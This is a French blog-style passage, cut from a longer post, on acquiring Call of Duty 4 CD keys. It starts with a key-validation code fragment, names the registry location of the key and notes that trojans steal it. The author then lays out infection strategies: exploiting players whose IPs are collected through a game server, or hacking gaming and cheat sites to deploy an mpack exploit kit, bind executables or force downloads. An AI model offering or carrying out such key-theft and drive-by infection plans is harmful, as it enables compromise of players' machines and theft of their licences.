if( strstr(l_buffer,"KEY_IS_GOOD") ){
//JACKPOT
}else if( strstr(l_buffer,"INVALID_CDKEY") ){
//

• D’autres moyen pour obtenir des clefs cd

Obtenir une clef CD gratuitement est difficile,mais il reste encore un moyen : le vol. La clef CD cod4 est stocké dans le registre à cette adresse : HKEY_LOCAL_MACHINESOFTWAREActivisionCall of Duty 4 codkey .

Il est facile de la récupérer à partir du moment où on a accès à la machine, de nombreux trojan intègre cette fonctionnalité, c’est pourquoi certains développeurs ont pris des mesures : c’est le cas du jeu Battlefield 2 qui à partir du patch 1.03 chiffre la clef CD du registre en fonction du hardware (mais je suppose qu’avec un peu de reverse engineering ont doit pouvoir récupérer l’original).

Maintenant le problème est le vecteur d’infection : Comment avoir un accès à l’ordinateur d’un joueur de cod4 ?

Idée n°1 (La moins efficace) : Installer un serveur cod4 et se démerder pour avoir un maximum de joueurs, à partir de là vous pouvez récupérer les adresses ips des joueurs. L’inconvénient est que de nos jours exploiter un windows XP à distance de cette façon est difficile; principalement à cause des routeurs/firewall puis à cause des services désactivés par les AV, mais les pcs vulnérables existent toujours.

Idée n°2 (Ultra efficace) : Prendre le contrôle de sites relatifs à ces jeux, typiquement : les communautés de joueurs, les forums, ceux proposant des tournois/ladder ou encore les sites de cheats. Là on sait que les visiteurs ont quasiment tous cod4 installés, donc une fois le site hacké , on peut mettre en place un mpack (exploiter ie est déjà beaucoup plus réaliste qu’exploiter une faille LSASS ; ) , binder les exécutables proposés par le site ou carrément forcer le téléchargement etc.

Il faut savoir que certain site de cheat vendent des clefs CD, je n’ai aucune idée de leur origine, mais si elles ne proviennent pas d’Activision, il est fort probable qu’elles proviennent des key stealers…

En parlant de cheat, j’espère pouvoir vous expliquer prochainement comment sont réalisés les Wallhack/Aimbots et autre merde en tout genre sur cod4.